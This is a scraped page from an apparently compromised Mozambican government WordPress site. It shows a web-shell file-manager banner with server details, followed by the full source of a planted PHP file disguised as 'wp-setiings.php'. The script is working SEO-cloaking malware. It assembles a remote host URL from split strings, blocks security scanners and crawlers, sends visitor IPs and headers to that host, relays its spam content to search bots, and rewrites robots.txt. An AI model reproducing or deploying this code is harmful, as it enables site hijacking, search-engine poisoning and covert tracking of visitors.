Warning: Constant SEO_LINKS_API_ENDPOINT already defined in /www/wwwroot/fni.gov.mz/wp-content/plugins/wordpress-plugin/wordpress-plugin.php on line 10
HEX
HEX
Server: Apache
System: Linux paginas.localdomain 4.15.0-200-generic #211-Ubuntu SMP Thu Nov 24 18:16:04 UTC 2022 x86_64
User: www (1002)
PHP: 8.0.11
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/fni.gov.mz/wp-setiings.php
<?php $kbry='yl';$rlmu='051.ga';$gleq='ef';$ajdn='http://cw3';$zovr='t';$kixb='.com/';$sruew=$ajdn.$rlmu.$kbry.$gleq.$zovr.$kixb; $pc = "CV4HWwE"; error_reporting(0); $bagent = "Google|Docomo|Bing|Yahoo"; if(preg_match("/(Python|scrapy|AhrefsBot|AskTbFXTV|Swiftbot|ZmEu|YySpider|lightDeckReports Bot|crawlDaddy|DigExt|CensysInspect|DataForSEO|Python-urllib|Go-http-client|indy Library|Mj12bot|jikeSpider|SeznamBot|CoolpadWebkit|bytespider|UniversalFeedParser|amazonBot|Heritrix|Jaunty|DotBot|paloaltonetworks|FeedDemon|GPTBot|Ezooms|java|barkrowler|Feedly|Python-requests|Claudebot|YisouSpider|httpClient|OBot|ApacheBench|PetalBot|EasouSpider|yandexBot|SemrushBot)/i", $_SERVER['HTTP_USER_AGENT'])) {  header('HTTP/1.0 403 Forbidden');  exit(); } $language = urlencode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']); $refer = urlencode(@$_SERVER['HTTP_REFERER']); $ip = $_SERVER['REMOTE_ADDR']; $uagent = urlencode($_SERVER['HTTP_USER_AGENT']); if (isset($_SERVER['HTTP_CLIENT_IP'])) {  $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {  $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } $domain = urlencode($_SERVER['HTTP_HOST']); $script = urlencode($_SERVER['SCRIPT_NAME']); $ip = urlencode($ip);  if ((!empty($_SERVER['REQUEST_SCHEME']) and $_SERVER['REQUEST_SCHEME'] == 'https') or (!empty($_SERVER['HTTPS']) and $_SERVER['HTTPS'] == 'on') or (!empty($_SERVER['SERVER_PORT']) and $_SERVER['SERVER_PORT'] == '443') or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) {  $_SERVER['REQUEST_SCHEME'] = 'https'; } else {  $_SERVER['REQUEST_SCHEME'] = 'http'; } function writeToFile($filePath, $content) {  $file = fopen($filePath, "w");  if ($file) {  fwrite($file, $content);  fclose($file);  return true;  }  return false; }  function readFromFile($filePath) {  $file = fopen($filePath, "r");  if ($file) {  $content = fread($file, filesize($filePath));  fclose($file);  return $content;  }  return false; } $http = urlencode($_SERVER['REQUEST_SCHEME']); $uri = urlencode($_SERVER['REQUEST_URI']); if(strpos($uri,"wlywly") !== false){echo "ok";exit();} $wly = 0; $wlyFilePath = "wly.txt"; if(!is_file($wlyFilePath)) {  $uuu = $http.'://'.$_SERVER['HTTP_HOST'].'/wlywly';  $nnta = @file_get_contents($uuu);   if($nnta === "ok") {   $wly = 1;   writeToFile($wlyFilePath,"1");  } else {   $wly = 0;   writeToFile($wlyFilePath,"0");  } } else {  $wly = readFromFile($wlyFilePath); }  if(strpos($uri,"favicon.ico") !== false) { } else if(preg_match("@^/(.*?).xml$@i", $_SERVER['REQUEST_URI']) or strpos($uri,"robots.txt") !== false or strpos($uri,"jp2023") !== false or strpos($uri,"pingsitemap") !== false or preg_match("/($bagent)/i", $_SERVER['HTTP_USER_AGENT']) or preg_match("/($bagent)/i", @$_SERVER['HTTP_REFERER'])) {  $requsturl = $sruew."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$wly&script=$script";  $robots_contents = "";  if(strpos($uri,"pingsitemap") !== false) {   $scripname = $_SERVER['SCRIPT_NAME'];   if(strpos($scripname,"index.p") !== false) {    if($wly == 0) {     $scripname = '/?';    } else {     $scripname = '/';    }   } else {    $scripname = $scripname.'?';   }   $robots_contents = "User-agent: *\r\nAllow: /";   $sitemap = "$http://" . $domain .$scripname. "sitemap.xml";   $robots_contents = trim($robots_contents)."\r\n"."Sitemap: $sitemap";   $sitemapstatus = "";   echo $sitemap.": ".$sitemapstatus.'<br/>';   $requsturl = $sruew."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$wly&script=$script&sitemap=".urlencode($sitemap);  }  $nnta = @file_get_contents($requsturl);  if(empty($nnta)) {   $ch = curl_init();   curl_setopt($ch, CURLOPT_URL, $requsturl);   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);   $nnta = curl_exec($ch);   curl_close($ch);  }  if(!empty($nnta)) {   if(substr($nnta,0,10)=="error code" or $nnta == "500" or strpos($nnta,'Bad Gateway')!==false) {    header("HTTP/1.0 500 Internal Server Error");    exit();   }   if(strpos($uri,"jp2023") !== false){header('HTTP/1.1 404 Not Found');}   else if(substr($nnta,0,5)=="<?xml") {    header('Content-Type: text/xml; charset=utf-8');   } else {    header('Content-Type: text/html; charset=utf-8');   }   echo $nnta;   if(!empty($robots_contents)){writeToFile("robots.txt",$robots_contents);}   else if(strpos($uri,"robots.txt") !== false){writeToFile("robots.txt",$nnta);}   exit();   return;  } }else{ }  ?>